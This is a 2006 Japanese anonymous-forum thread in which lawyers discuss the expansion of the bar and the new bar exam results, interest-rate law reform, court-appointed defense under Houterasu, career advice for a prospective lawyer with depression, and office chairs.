731 :無責任な名無しさん:2006/09/19(火) 21:12:09 ID:gOrOyul9
法テラスが話題になってた頃よりスレの雰囲気が悪化したような…

732 :無責任な名無しさん:2006/09/19(火) 21:45:09 ID:zDQV9FBv
>>728
それなら業者Bにやり返されるから意味がないよw
推進しているのは法定金利で貸している○リックスなどだろ。
折角弁護士がこつこつ開拓した分野なのに、いよいよ収穫期になって
トンビにあぶらげさらわれそうだ。


733 :無責任な名無しさん:2006/09/19(火) 21:56:27 ID:3q+KAepu
オリッ○スは,増やした弁護士を安く雇用してやれや。

734 :721:2006/09/19(火) 22:27:12 ID:fN0evq0F
>>722 >>725

前々スレあたりから拝見しているのですが、うまみや実入りが少なくなる商売なのかなと感じたもので。
司法修習生に対する国費支給も来年から打ち切られるみたいだし、60期以降の弁護士のうちで就職不可能の弁護士も出てくる可能性もあるらしいので。
法曹資格を取得する間借金して、法曹資格を取得しても就職できない可能性があるって・・・

法曹増員も一概にいいとはいえないんですね。
裁判官や検察官を増やす必要はあるかもしれませんが、弁護士増員は本当に必要なのでしょうか。
弁護士さんに対する敷居が低くなるのは賛成ですが。

735 :無責任な名無しさん:2006/09/19(火) 22:46:54 ID:fH2CbeGh
政府の失政で国が傾いてるようなもんですね。
自業自得だと思いますよ。
若い人には決して勧めません。

736 :無責任な名無しさん:2006/09/19(火) 23:14:18 ID:woo31zFE
>>734
そのとおりです。大増員のため弁護士の多くははこれから先細りになることが
予想されます。それとともに社会的評価もちょっとづつ下がっていくでしょう。
勿論弁護士の一部の人は今以上に稼ぐ人も出てくるでしょうが全体的には
収入も減っていく人の方が多いでしょう。
だからカネや目当てで弁護士になるのはお勧めしません。

今執行部にいる人たちは年齢的に先はあまり長くないので大増員の影響は少なく
既に元を十分に取っているのであまり危機感を持っていません。がこれから弁護士
になる人は大変です。

しかしカネ目当てではなく弁護士としての仕事にやり甲斐を感じたり公益的活動
で世の中で苦しんでいる弱者や被害者のために貢献したいと考えるのならチャレ
ンジするのもいいでしょう。組織に縛られずに自由に活動できるのは弁護士の魅力
の1つです。

また弁護士は他のの士業と比べて職域が広いので努力と才能次第で新たな仕事を
開拓することも可能です。私の見たところ弁護士もこれからは大変ですが司法書士
や税理士などはもっと大変です。クレサラで食ってる書士の友人は大変危機感を持
っています。

いずれにしても弁護士を目指すのならこれまで以上に慎重な検討が必要でしょう。
ロースクールの学費は高いし修習の給与も無くなりますから金銭的、時間的なリスク
は高くなります。日本は再チャレンジの難しい社会なので「やっぱり就職しとけば良か
った」などと後悔することのないよう慎重にご検討下さい。

737 :無責任な名無しさん:2006/09/19(火) 23:21:33 ID:6MUsDZ4c
弁護士増員問題に限らず、このところ政府や財界のやってることは、
目先のことしか考えずに、例えていえば、植林などもせずに手当たり次第
木を伐採するようなもので、ほんとに頭悪いと思うね。
このままだと将来どうなるか考えないんだろうか。
まあ、その結果はそのような政治家を選んだり政府を支持してきた
国民自身が受けるしかないんだろうけど、まさに自業自得だと思うね。
このところの司法改革に対する日弁連の対応も同じようなものだと思けど。

738 :無責任な名無しさん:2006/09/19(火) 23:27:00 ID:9bs7gpTN
何でも規制緩和しないと気がすまないんだろうね
自分たちの領域が自由化されたんだから他の分野も
自由化されないと不公平だと感じるという自由化スパイラル
のような気がする

穏当な社会民主主義の軸がないからしょうがないんでしょうけれども

739 :無責任な名無しさん:2006/09/19(火) 23:54:51 ID:woo31zFE
追記

弁護士に限りませんがこれからの日本は規制緩和と自由競争社会ですので
もし弁護士を目指すのなら今以上にリスク管理が重要になります。
司法試験に合格できないかもしれないというリスクは勿論、合格できても就職
できないというリスク、就職できてもすぐにクビになるリスク、独立しても食って
いけないリスク、様々なリスクを考慮しておく必要があります。

まだ若いのに非弁提携や依頼人の金銭横領などで懲戒処分をくらう弁護士は
今でも少なくありませんがこれからはもっと増えるでしょう。

もしそれらのリスクを取りたくないのなら弁護士はやめておいた方が無難です。
基本的には中小零細企業の経営者と同じようなものだと思っておいた方がいい
です。渉外もこれからは特に大量採用大量解雇の使い捨て時代になります。
パートナーになれるのは極一部でしょう。

ネガティブなことばかり書いてきましたが先ほどにも書いたとおり弁護士には
職域の広さから努力と才能次第でいくらでも仕事を開拓可能であるというメリット、
組織に縛られずに自由に行動できるというメリットがあります。これはサラリーマン
にはない大きな魅力の1つです。(中には弁護士会という「組織」に縛られてる
人も少なくありませんが…)

もしあなたがチャレンジ精神旺盛で先に書いたリスクを厭わないなら是非頑張
ってください。

740 :721:2006/09/20(水) 00:02:20 ID:HEgGWA8/
>>736
貴重なご意見ありがとうございます。
当方は、いわゆる非弁ですが、つい先日まで民事訴訟の原告として弁護士さんのお世話になっていました。
その方の仕事振りを自分で見て、自分でいろいろと情報を調べていくうちに、虐げられている弱者のために仕事をする弁護士という仕事に魅力を感じはじめたのです。
弁護士になれたら、日本労働弁護団に加入して、自分の経験を活かしながら虐げられている弱者・被害者のために仕事をしたいと考えています。

>>736氏がおっしゃられるとおり、公益活動で世の中で苦しんでいる弱者や被害者のために貢献したいということが魅力の一つであり、志望動機の一つです。
また>>736氏がおっしゃられる「組織に縛られず自由に活動できる点」も魅力の一つで、志望動機の一つです。

ただネックもあります。
・ロースクールの学費と通学のための時間
・司法修習生に対する国費支給の打ち切り(貸与)
これらは、法曹を増やすという大義名分に反するような気も致しますし、これから法曹を目指す人たちにとってはかなり大きな負担になるでしょう。
あと、これは私事ですが、2か月に1回ほど精神科へ通院しています(抑うつ神経症)。普通の生活を送る分には何ら問題はありませんが、やはり不安はあります。

もう少し考えてみたいと思います。

741 :無責任な名無しさん:2006/09/20(水) 12:29:58 ID:zAkz1QuW
どうせリスクを取る人生を送るのであれば,いろいろやかましい決まり事がある弁護士より他職をおすすめします。

742 :無責任な名無しさん:2006/09/20(水) 15:52:05 ID:j/syBqC4
>>721

>2か月に1回ほど精神科へ通院しています(抑うつ神経症)。普通の生活を送る分には何ら問題はありませんが、やはり不安はあります。

弁護士はやめといた方が良いよ。

あと、弁護士の公益活動は、弁護士になって実際にやってみないと想像できない苦難がありますよ。
やっていて馬鹿馬鹿しく思うことが、多々あります。


743 :721:2006/09/20(水) 17:38:08 ID:+qO6yEnl
>>741
> いろいろやかましい決まり事がある
弁護士法とか弁護士基本規程のことですか?

>>742
> 弁護士はやめといた方が良いよ。
抑うつ神経症の人には難しいという意味ですか?
> 弁護士の公益活動は、
> 弁護士になって実際にやってみないと想像できない苦難
差し支えなければ具体的に教えていただきたいのですが、いかがですか?
> やっていて馬鹿馬鹿しく思うことが、多々あります。
まあ、俺なんて生きていることすら莫迦々しく思うことが毎日ですよ。
自分に嫌気がさしているんですかね。

744 :無責任な名無しさん:2006/09/20(水) 17:41:53 ID:+6Egs4Z7
あんまり報道されてないが、利息制限法規定の利息引き上げが
テキトーな修正でまとまりそうな情勢。
はっきりいって、最高裁判例があるので金利引き下げ運動前の方がまだ
よかったってことになるのでは。

http://www.yomiuri.co.jp/atmoney/news/20060920i301.htm





745 :無責任な名無しさん:2006/09/20(水) 17:51:27 ID:Wzy66GAn
>>744
金利引き下げ運動によってグレーゾーン廃止が決まったわけじゃないよ。
みなし弁済の規定ができたときと一緒。貸金業者が最高裁判決を骨抜きに
する立法をするよう国会議員に働きかけた結果。

刑法の謙抑性からすれば、出資法と利息制限法で制限利率が違っても
そう大した問題ではないはず。みなし弁済の規定さえなくせば出資法を
いじる必要はないという意見もクレサラ弁護士の間ではそれなりに有力
だった。

今から思えば、グレーゾーンがおかしいグレーゾーンがおかしいという
ミスリードすら、最初から意図的だったのではないかと思える。

746 :無責任な名無しさん:2006/09/20(水) 17:54:47 ID:2pzWhE1z
>>743
弱者も強者も同じ人間だ。弱者が聖人君子で強者がダーティな人間ということもない。
弱者にもずるい面、悪い面が多々ある。弱者だから助けてもらって当然、弁護士は弱者
のために手弁当で働きいて当然という変な「権利」意識が強い人もいる。

747 :無責任な名無しさん:2006/09/20(水) 18:01:27 ID:2pzWhE1z
>>745
みなし弁済規定は先の最高裁判決によって空文化したから、結局何も変える必要は
なかった。「改正」なんて必要なかった。「改正前」の方があるゆる面ではるかに
よかったのさ。

748 :無責任な名無しさん:2006/09/20(水) 18:05:40 ID:+6Egs4Z7
>>745
ひとまず、後藤田前政務次官が示唆したような黒幕を
表に引きずり出して、分かりやすい構造を世間に示す必要があるでしょう。

今回の法改正は、金融庁への諮問までは間違いなく消費者側から
の働きかけで動いていたはず。
それがとんでもない業界焼け太りにつながったというのは、日弁連
の政治的敗北と言わざるを得ないような気がします。
まぁ日弁連の政治的敗北は常態ですが、誰がどう動いて諮問をつぶしたのか
世間に公表する必要があるかと思ってます。

749 :無責任な名無しさん:2006/09/20(水) 18:14:55 ID:DUQCli1K
>743
742ではないけれど、抑うつの方は弁護士になると再発(悪化)する可能性が
かなりあると思います。自分もそうです。
鬱と上手に付き合いながら仕事をしていくしかないのだと思うけれど、弁護士
以外の仕事でも鬱になりますので、弁護士は絶対無理、というわけではないと
思います。ただ、弁護士業界はとても遅れていて、勤務弁護士の労働条件は
各ボスによって千差万別ですので、良いボスに当たれば、あまり鬱が悪化せずに
済むかもしれません。悪いボスに当たれば、当然悪化するでしょう。
独立してしまえば気楽ですが、常に経営への不安がつきまといます。
退職金もないし年金も少ないし、将来が不安。
今後は特に、その不安が大きくなるでしょうから、それで鬱がひどくなることが
あるかもしれません。

それから、「弱者救済」という情熱を最初から強く持っていた人に限って、そういう
活動があまり長続きせず、挫折しやすいという話も聞きます。
多分、期待していた仕事と現実のギャップが大きいからなのでしょう。
自分も、困っている人を助けたい、なんて考えて司法試験を受けていたので、
実際に仕事に就いてがっくりした部分が大きかったです。
馬鹿馬鹿しく、うんざりする仕事が多いですけど、弁護士をやっていて良かったと
思う瞬間は年に2回くらいはあるような気がします。それがあるから弁護士を
細々と続けているのかもしれません。

昔なら、弁護士になりたい!という人に対して、それならちょっと勉強してみたら?
司法試験をとりあえず受けてみたら?と勧めれば良かったのだけど、今は
仕事を辞めてローに入らなければならないから大変だ。
正直言って、資金に余力がないならお勧めしない。抑うつ傾向があるなら、大きな
事務所でガンガン稼ぐってわけにもいかないでしょう。おそらく、弁護士になっても
ぼちぼちとしか仕事できないのだから、将来を見込んで資金をつぎ込むのは止めた
方がいい。
お金と時間に余裕があるならやってみてもいいんじゃないか。

750 :無責任な名無しさん:2006/09/20(水) 18:45:36 ID:zAkz1QuW
今年年初の年次要望書で,アメリカが言ってきてたんでしょ

751 :無責任な名無しさん:2006/09/20(水) 19:15:01 ID:ZBW6nXvv
>>743
弁護士の仕事って、他人の精神的な負担やストレスのいくらかを
肩代わりするかわりにお金をもらってるようなものだから、
ただでさえ抑うつの人が、さらにそのような負担を負うというのは
大変だと思うね。
事件を受任して着手金をもらうと、後は事件をきちんと処理していく
義務が残るわけだから、着手金をもらうのはなんか借金をしているのと
同じような感覚があるし。
それでなかなかうまく事件処理が進まなかったり困難な状態に
なったときのストレスはかなりのものがある。しかも、依頼者から
すれば、安くない費用を払って弁護士に任せているということで、
かなりの期待をしているわけだし。
まあ、でも、自分がこの事件を引き受けて良かったと思うことも
ごくまれにはあるから、覚悟があるなら頑張ってみる価値はあると思う。

752 :無責任な名無しさん:2006/09/20(水) 22:29:32 ID:IixIjgT0
http://business.nikkeibp.co.jp/article/topics/20060915/109957/
この分析が一番正しいだろう。金融庁一人勝ち

753 :721:2006/09/20(水) 22:42:06 ID:GQ6fqjKU
>>746 >>749 >>751
皆様方、貴重なご意見をありがとうございます。

> 弱者も強者も同じ人間だ。
そうですね。
でも、いわゆる司法改革は「人材を育てない」司法改革のような気がしてなりません。
実は、今日某地裁本庁に裁判傍聴に行きました。
司法修習生の方がいらっしゃいましたので、司法修習のことを少し質問させていただきました。
やっぱり先行きは厳しいようです。

> 抑うつの方は弁護士になると再発(悪化)する可能性がかなりあると思います。
> 自分もそうです。
そうですか。やっぱり心身ともに健全でないと務まらないということでしょうか。
> 独立してしまえば気楽ですが、常に経営への不安がつきまといます。
ある意味死と隣り合わせなのかもしれませんね。
> 退職金もないし年金も少ないし、将来が不安。
そうでしょうね。年金は、国民年金だけですからね。

いずれにせよ>>749氏と>>751氏のお話を伺っていろいろと厳しいということを改めて思い知りました。

貴重なご意見をいただきありがとうございます。この場にて厚く御礼申し上げます。

754 :無責任な名無しさん:2006/09/21(木) 10:42:15 ID:Fs5ixOMB
弁護士の年間自殺者数は数十人だというからね。

755 :無責任な名無しさん:2006/09/21(木) 10:42:21 ID:JSOASpwX
↓ もうアホかと。

04年に全国で設置された法科大学院の修了者が受験し、21日に結果が
発表される初の「新司法試験」の合格率は、48%になる見通しとなった。
2087人(途中欠席の4人を除く)の受験者に対し、合格者は1000人を
わずかに超えることが20日の司法試験委員会で決まった模様だ。

法務省はもともと初年度の合格率を3割程度、合格者を800人程度と
試算する素案を示したが、生き残りをかける法科大学院側から強い反発を受け、
「900人から1100人」に軌道修正した経緯がある。

法科大学院には、法学部出身者らの「法学既修者」向けの2年コースと、
社会人経験者らを含む法学未修者向けの3年コースがあるが、今年の修了者は
2年コースのみ。現行司法試験で受験を重ねてきた人たちが大半を占める。
このため、受験者の質を問う声が再燃するなどして、見通し通りの合格者数が
実現するかが注目されていた。

新司法試験は、法科大学院の修了者に受験資格が与えられ、初回は58校の
2087人が受験した。修了には厳しい基準を設けるはずだったが、
結果的には入学者の9割以上が修了した。

来年度からは、3年コースの修了者が受験者に加わる。2年コースとあわせ、
受験者数が大幅に膨らむため、合格率は2〜3割に下がる見通しで、
「3年コース修了者の合格率こそ上げなければいけないのではないか」との
声も出ている。

http://www.asahi.com/national/update/0921/TKY200609200506.html

756 :無責任な名無しさん:2006/09/21(木) 10:43:56 ID:Fs5ixOMB
日弁連の政治力は法科大学院以下。

757 :無責任な名無しさん:2006/09/21(木) 11:02:59 ID:gxnF9L2j
>>752
正しくないよ、なにその提灯記事。
金融庁も負けたんだよ。利息制限法の利息引き上げ
(区分見直しとか言わず、はっきり引き上げと言うべき)
になろうとしてるんだから。
たまげたよ。利息制限法引き上げて、出資法引き下げて
中間で妥結するなんてことになるとは。

758 :無責任な名無しさん:2006/09/21(木) 11:55:47 ID:NP5d8PxZ
利率が多少上ったって、総額150万円以上は貸せないんだろ?
破産は激減するだろうね。生活保護レベルじゃないと今後、破産が
認められなくなるんじゃないか?

759 :無責任な名無しさん:2006/09/21(木) 12:15:49 ID:0rPuvjZE
>>754
マジで?ソースは?
自由と正義で、登録番号2万番代以降の人の、死亡による
登録取消なども確かにそこそこ見かけるけど、退官後に
登録した高齢の人が大半かと思っていたが・・・

>>757
結果として利息制限法の改悪(改悪と書くとサヨっぽいが)に
なるとは、最悪だよな。
報道では特例金利の話ばかり出てたけど、そんなことより
利息制限法の問題の方がよほど大きいと思うのだが、あまり
話題にもならないのは何故なんだろう。

760 :無責任な名無しさん:2006/09/21(木) 12:24:14 ID:A2izoCA2
>>759
> 利息制限法の問題の方がよほど大きいと思うのだが、あまり
> 話題にもならないのは何故なんだろう。

業者側の作戦。

761 :無責任な名無しさん:2006/09/21(木) 12:50:20 ID:X1JQGE4Z
今年の合格者は特例馬鹿弁ということで。

762 :無責任な名無しさん:2006/09/21(木) 12:55:46 ID:kAU8aPUJ
>>761
旧の合格者は10月に発表があるから一緒にしないでね。

763 :無責任な名無しさん:2006/09/21(木) 14:28:42 ID:sKWps9ok
>>752
俺もそう思うな。

全て金融庁の思い通り
中小業者の駆逐、大手業者による独占による新金融の秩序の構築、信用情報
機関1本化による国民の信用情報の全把握、金融庁官僚による業界支配の完成
全ては金融庁官僚の思うがままの世界が現出する。

764 :無責任な名無しさん:2006/09/21(木) 14:52:19 ID:M/SrGQCU
アメリカの属国化は続く

765 :無責任な名無しさん:2006/09/21(木) 15:20:01 ID:Ph+qPhIW
>「3年コース修了者の合格率こそ上げなければいけないのではないか」との声も出ている。
何だこれ?
全然論理性が無いんだが。

766 :無責任な名無しさん:2006/09/21(木) 15:29:51 ID:kAU8aPUJ
どこから声が出ているか?
「実は新聞社やTV局の編集部・編成部から出ていることが多い」との声も出ているw

767 :無責任な名無しさん:2006/09/21(木) 16:29:16 ID:JnRj9xtk
新司法試験の合格者がどれだけ就職できるんだろうか。
今だって59期が就職活動しているっていうのに。
就職できなかった人達が集まっていきなり事務所開設したりする予感。

ところで、ちょっと価格高め(10〜20万程度)のOAチェアを最近買った方はいますか?
何となく名前を知っていたアーロンチェアを買おうと思っていたのだが、
色々調べるとどれが良いのか判らなくなってしまった。


768 :無責任な名無しさん:2006/09/21(木) 17:05:32 ID:Fs5ixOMB
新司法試験第1回合格者数は1007人だそうです。

アーロンチェアはちょっと安っぽいが,悪くない。

769 :無責任な名無しさん:2006/09/21(木) 18:00:09 ID:bEfMbapu
アーロン持っています。
個人的には欧米人向けだと思います。
昼寝にはいいけど、結局ただの自己満足かなあと思います。
肘あては結構気に入っています。

770 :無責任な名無しさん:2006/09/21(木) 18:13:41 ID:EatcdN79
コンテッサ使ってます。
ヘッドレストがいまいちだけど,それ以外はかなり快適。

771 :無責任な名無しさん:2006/09/21(木) 18:49:39 ID:JnRj9xtk
>>768
>>769
>>770
レスありがとうございます。
現段階では、コンテッサかバロンに傾きつつあります。
まあ実際に座ってみないとわからないのかな。


772 :無責任な名無しさん:2006/09/21(木) 20:30:31 ID:z3vL9Z3K
レクサスLSがきた(^o^)

773 :無責任な名無しさん:2006/09/21(木) 21:25:44 ID:uUTX28vj
さあ,弁護士資格崩壊のはじまりです。

774 :無責任な名無しさん:2006/09/21(木) 21:36:47 ID:0rPuvjZE
まあ、中身で勝負するしかないんだろうけど、ハズレ弁に当たった
依頼者は気の毒だよな。

775 :無責任な名無しさん:2006/09/21(木) 22:33:01 ID:wlXKLTMz
今年の合格者は史上最強の馬鹿の期として
長く記憶されることになるな。

776 :無責任な名無しさん:2006/09/21(木) 22:35:56 ID:xu6xDQj4
>>775
何を今さらw
あんた毎年同じこといってるじゃんw

777 :無責任な名無しさん:2006/09/21(木) 22:44:08 ID:nzPncTdj
>>775
ほかのスレでもアンタそれ書いてるね

778 :05東大法卒:2006/09/21(木) 23:58:18 ID:wRkVcNxO
馬鹿がどれだけ増えようとも馬鹿は馬鹿。
たいした問題ではない。
勝つのは俺だああああああああああああああああああああ!!!

779 :無責任な名無しさん:2006/09/22(金) 00:03:20 ID:nzPncTdj
>>778
アンタのような馬鹿はそんなに増えないから安心汁

780 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/09/22(金) 03:12:04 ID:voIGypAD
呼んだ?

781 :無責任な名無しさん:2006/09/22(金) 07:23:42 ID:lTOYapXP
バカでも何でもいいから、俺の起案手伝ってくれ。

782 :無責任な名無しさん:2006/09/22(金) 08:04:45 ID:39dz3Mhz
48%合格って...
司法試験って何だったんだ..

783 :無責任な名無しさん:2006/09/22(金) 08:28:51 ID:7dBp6gYc
まあ、馬鹿はほっときましょう。

でも、司法試験をあきらめて裁判所職員になった人たちなんて
複雑な気持ちでしょうね。

784 :無責任な名無しさん:2006/09/22(金) 08:37:43 ID:8LdzgqnT
20年もたてば、戦前の裁判所のように、弁護士は廷吏にペコペコするようになるから職員の方がマシ

785 :無責任な名無しさん:2006/09/22(金) 08:55:29 ID:jV0FO/yT
ロースクールの入学でアシ切りされているから
一定の資力がある人しか受からない試験か
奨学金制度も貧弱だし(米国みたいに生活費までは出ない)

786 :無責任な名無しさん:2006/09/22(金) 09:04:19 ID:NJza/AfY

【【最新版】】
S 弁理士・司法書士(法律系最高ランク)・公認会計士(経済系最高ランク)
A 税理士・不動産鑑定士
B 社会保険労務士・FP
C 行政書士・宅建
D 司法試験(H18年度、驚愕の合格率48%)

司法試験は最高ランクから
間違いなく最低ランクになりました。
以後弁護士は参加賞みたいに
どんでもないバカでも人を裁けるものになります。


787 :無責任な名無しさん:2006/09/22(金) 09:05:07 ID:NJza/AfY

2006-09-21 Evening
N I K K E I −g o o       日経ニュースメール

◆新司法試験の合格者1009人、合格率48%

  法務省の司法試験委員会は21日、法科大学院の修了者を対象に今年初めて実施した新司法試験の最終合格者を発表した。

合格者は1009人で、合格率は約48%。

旧司法試験も2010年度まで行われ、今年度は11月に約500〜600人の合格者が発表される。


788 :無責任な名無しさん:2006/09/22(金) 09:33:35 ID:MBNAZJrV
心配ない。これからは出身大学でセレクトされるよ。現に今医者はそうだ。


789 :無責任な名無しさん:2006/09/22(金) 09:49:01 ID:jV0FO/yT
ロー入学&卒業でアシ切りされている点を評価しないでパラレル比較は不公平
この方式をとったら医者は95%以上の合格率だから史上最低になるよ

790 :無責任な名無しさん:2006/09/22(金) 10:10:51 ID:qeoaRg9n
>>767
俺、フリーダムチェア
ガンオタの俺には後ろからの見た目がメカっぽくて(*∀*)ウヒョー

791 :無責任な名無しさん:2006/09/22(金) 10:42:56 ID:G/+0PSBM
ローの足きりなんてのは
1 親が金もってるか
2 不真面目すぎないか

位なもんだ

好き嫌いや自説かどうかで再転するバカ教授の採点なんか信頼できないよ

以下参考


501 :氏名黙秘 :2006/09/22(金) 00:34:24 ID:???
http://www.nishinippon.co.jp/nnp/national/20060921/20060921_052.shtml
新司法試験合格者名簿

524 名前:氏名黙秘 :2006/09/22(金) 00:53:10 ID:???
>>501
依頼してはいけない弁護士リストとして永久保存だな。

532 名前:氏名黙秘 :2006/09/22(金) 00:55:10 ID:???
>>524
裁判官として出てきたら、忌避を申し立ててくれ。


792 :無責任な名無しさん:2006/09/22(金) 11:34:23 ID:z8jmI8TA
http://www.asahi.com/national/update/0922/OSK200609220014.html


793 :無責任な名無しさん:2006/09/22(金) 11:37:39 ID:57yk6jgH
遂にここまできた

副検事が酒気帯び運転幇助で取調べを受ける
http://www.mainichi-msn.co.jp/today/news/20060922k0000e040032000c.html


塗装工
トラック運転手
歌舞伎俳優
市役所職員
市議会議員
副検事      ←今ここ
検事
弁護士
裁判官
国会議員





794 :無責任な名無しさん:2006/09/22(金) 11:45:38 ID:57yk6jgH
>>788
新司法試験合格率ナンバーワン(1分の1の島根大を除く)に輝いた一橋大学卒の俺様は,
東京医科歯科卒くらいのステータスになりますか?

795 :無責任な名無しさん:2006/09/22(金) 11:50:22 ID:Tfc74reT
>>792
副検事は6月2日深夜、勤務帰りに足利市内の飲食店で従業員の30代の女性と約2時間、飲酒した。3日未明、
近くの公園で女性と待ち合わせた後、女性の運転する車に同乗し、約600メートル離れた官舎に送ってもらったという。

深夜約2時間飲食後、未明に近くの公園で女性と待ち合わせって、その間どこで何をしていた。変じゃないか?

796 :無責任な名無しさん:2006/09/22(金) 11:53:00 ID:jV0FO/yT
弁護士の酒気帯び運転の罰金刑ならリスト作れるよ(特に大阪)
弁護士が下なのはおかしな希ガス

797 :無責任な名無しさん:2006/09/22(金) 12:05:06 ID:Tfc74reT
>>793
朝日新聞記者と教育長が抜けてるじゃないか

798 :無責任な名無しさん:2006/09/22(金) 12:30:53 ID:G/+0PSBM
飲食店従業員の女性w

どうせ酔っぱらい運転で官舎に戻ってセックスするつもりだったんだろw

799 :無責任な名無しさん:2006/09/22(金) 12:34:42 ID:G/+0PSBM
>>795
どうせ嬢が店から出てくるのを近くの公園で待っていたんだろう。
良くあることだよ。

800 :ロー卒ステータス認定委員会:2006/09/22(金) 14:20:39 ID:UE9N8apy
>>794
SSクラスの認定です。

801 :無責任な名無しさん:2006/09/22(金) 14:26:15 ID:jV0FO/yT
>>800
ほかでやんな。
こんなところでやられても邪魔だ

802 :無責任な名無しさん:2006/09/22(金) 14:48:08 ID:ETYwf8Xz
法テラスへ契約拒否の呼びかけFAXがまた来た。
賛同者の名前がかなり出てるけど、ここに出てくるメンバーには、どう見ても国選やってない
大御所やベテランがいっぱい含まれてるようなんだが……。
名前を見てて、「あんた、国選やってないだろ!」と突っ込みたくなることがかなりあった。

803 :無責任な名無しさん:2006/09/22(金) 15:23:43 ID:57yk6jgH
塗装工
トラック運転手
歌舞伎俳優
新聞記者
市役所職員
市教育長
市議会議員
副検事      ←今ここ
アナウンサー
プロ野球選手
市長
検事
弁護士
裁判官
国会議員


804 :無責任な名無しさん:2006/09/22(金) 15:30:28 ID:jV0FO/yT
弁護士で飲酒運転の交通切符切られた香具師はたくさんいるってw
ゴルフ帰りに飲酒業過で懲戒された例もけっこうあるぞ
弁護士は副検事よりもリストを上にしないと事案の真相の解明にならないw

805 :無責任な名無しさん:2006/09/22(金) 15:34:58 ID:sydOsRAU
読売新聞社会部著
「ドキュメント検察官−揺れ動く「正義」」
(中公新書)

検察をかっこよく描きすぎ。
法曹三部作の中でいちばん甘い

806 :無責任な名無しさん:2006/09/22(金) 15:45:46 ID:46UoO9Uc
>>804
トラック運転手の下くらいかな?

807 :無責任な名無しさん:2006/09/22(金) 15:47:08 ID:jV0FO/yT
>>806
だと思われ

808 :無責任な名無しさん:2006/09/22(金) 18:02:23 ID:nV34c38F
>>802
無償で国選を受任しますって書いてあるが、ここの賛同者に名を連ねている
人はせめて1回はちゃんと約束果たすのか追跡調査してほすぃ。

809 :無責任な名無しさん:2006/09/22(金) 18:05:24 ID:57yk6jgH
「臆病者」にお詫びキタ━(゚∀゚)━(∀゚ )━(゚  )━(  )━(  )━(  ゚)━( ゚∀)━(゚∀゚)━ !!

810 :無責任な名無しさん:2006/09/22(金) 18:21:25 ID:aoJ0N2Ai
法テラス経由じゃないと受任できないと分かってるからそういってるだけだよ

811 :無責任な名無しさん:2006/09/22(金) 18:37:22 ID:rL/jYL39
>>809
ソースは?

812 :無責任な名無しさん:2006/09/22(金) 18:53:27 ID:yE+NWWYj
>811
 809ではないけど、日弁連ニュース(FAX送信されてくるもの)の左下です。

813 :無責任な名無しさん:2006/09/22(金) 20:02:44 ID:G/+0PSBM
裁判官上がりの女性弁護士さんのブログをたまに読んでるけど,今回は依頼者の親の教育じゃなくって,自分の不注意を責めるべきだと思う。
ブログ読む限り,それまでの事情をちゃんと聞き取っていたら一緒に片付けるなんてのはあり得ないはず。
また,当事者の意思を確認したりなど何事か検討しないといけない問題が出てきたら,基本は一旦席を外すべき。
ましてや調停中に,裁判所外で,両当事者が接触するなんてのは,基本的にはあり得ない話。

この人のブログは読む度に,所詮裁判官上がりだな。との思いを強くする。
裁判所や関係者を信じすぎ。

814 :無責任な名無しさん:2006/09/22(金) 20:23:20 ID:NDb6NsEm
>>767

イソ弁ですが,ボスのお下がりというあみあみになっているイスを使わせてもらっています。
「座ると破れそうだなあ。破れたら針金が尻たぶに突き刺さりそうだなあ
 突き刺さると尻たぶが血まみれになるなあ」
と思って毎日座ってたんですが,ふと気になってイスの裏を見てみると
ヘルマン・ムイレルと書いていました

815 :無責任な名無しさん:2006/09/22(金) 21:18:34 ID:46UoO9Uc
土日祝日の被疑者国選対応が、なんだか結構大変みたいなんだが、
要するに法テラスの予算がなくて、地方の事務所では土日に
被疑者国選に対応するスタッフを置くことができないことが
主な原因らしい。
その代わりに若手弁護士がボランティアで連絡等を行うことに
なるようだが、もうアフォかと。

816 :無責任な名無しさん:2006/09/22(金) 21:28:47 ID:aoJ0N2Ai
ホントにアホだ
法テラスがどうなるのか興味あるんだけど
人に聞いて勧誘されたら嫌だから人には聞けない

皆さん教えて

817 :無責任な名無しさん:2006/09/22(金) 21:49:23 ID:DnNdFI0h
>>815
別にいいじゃん。やりたい人にはやらせてあげれば
所詮、法務省と犯罪者の便利な道具です


818 :無責任な名無しさん:2006/09/22(金) 22:04:48 ID:z4CrQke/
被疑者国選に登録している弁護士の大半が,被疑者国選の制度自体をまだ理解していないという実情。

819 :無責任な名無しさん:2006/09/22(金) 23:41:43 ID:bmt7IU/z
>>794

医科歯科様は無理でも、琉球大(酷使合格率最低)位の
ステータスはあるような気がすると言えない事もないような感じはある
(判例集読んでると、気が変になる)


820 :無責任な名無しさん:2006/09/23(土) 00:08:20 ID:av/KUtbN
↑ ここは法律相談スレじゃないんだから、部外者が無料相談を気軽にカキコする連中には
余り構うなよ。

非弁が、弁護士気取りで応対するのは、ヨソでやってくれ。

821 :無責任な名無しさん:2006/09/23(土) 07:05:20 ID:Xrao4way
>>813
同感。
あと、事案の情報を出し過ぎなのも気になります。

822 :無責任な名無しさん:2006/09/23(土) 08:29:19 ID:r04QZtRg
会長や支部長のところのイソが無理矢理仕事を押しつけられるんだろうな

823 :無責任な名無しさん:2006/09/23(土) 10:30:53 ID:KBz4FfgM
松本弁護団は「訴訟妨害」、高裁が来週にも処分請求へ
http://headlines.yahoo.co.jp/hl?a=20060923-00000001-yom-soci

死刑が確定したオウム真理教の松本智津夫死刑囚(51)の控訴審を担当した弁護士2人について、
東京高裁(須田賢裁判長)は、「刑事訴訟法に違反して控訴趣意書の提出を拒み、訴訟手続きの
進行を妨害した」として、来週にも弁護士会側に処分を求める「処置請求」を行う方針を固めた。

裁判所が弁護士会に弁護士の処分を請求するのは17年ぶり。結果的に被告の死刑を確定させる
ことになった弁護活動を行った弁護士に、弁護士会側がどのような措置をとるかが注目される。

複数の関係者によると、処置請求の対象となるのは、主任弁護人の松下明夫弁護士(仙台弁護士会)
と、松井武弁護士(第2東京弁護士会)。松本死刑囚の2審弁護団は7人だったが、他の5人は趣意書
の提出期限の後に選任されたことから、対象外とされた。請求の相手方は、日本弁護士連合会か、
各所属弁護士会のいずれかとなる。

これで懲戒が認められたら、戦前に逆戻りだな

824 :無責任な名無しさん:2006/09/23(土) 10:44:36 ID:oJj0ed4t
>>823
でも被告人からの懲戒請求があったら,懲戒を認めていいと思う。

825 :無責任な名無しさん:2006/09/23(土) 11:01:54 ID:UKnD+50C
結果的に裁判の早期確定に貢献したんだから、
恩赦を認めていいんじゃね

826 :無責任な名無しさん:2006/09/23(土) 11:02:21 ID:x0Ivz7FU
その代わり、受刑能力アリと言うことで速やかに刑の執行。

827 :無責任な名無しさん:2006/09/23(土) 11:42:34 ID:eyncxYI+
